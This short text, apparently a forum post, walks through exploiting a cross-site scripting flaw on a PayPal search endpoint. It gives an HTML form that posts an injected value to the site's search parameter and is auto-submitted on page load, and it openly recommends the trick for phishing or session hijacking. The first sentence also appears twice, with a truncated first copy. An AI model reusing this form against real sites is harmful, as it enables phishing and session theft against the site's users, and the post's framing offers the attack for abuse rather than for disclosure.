Basically you need to put something like this on a page you control (where "xss code" is the code triggering the XSS): <form action="https://www.paypal.com

Basically you need to put something like this on a page you control (where "xss code" is the code triggering the XSS): <form action="https://www.paypal.com/de/cgi-bin/searchscr?cmd=_sitewide-search" method="post"> <input type="text" name="queryString" value="xss code" /> </form> Then, just as the page loads, submit that form and you're executing JS on a paypal.com page. This would work great for phishing or session hijacking.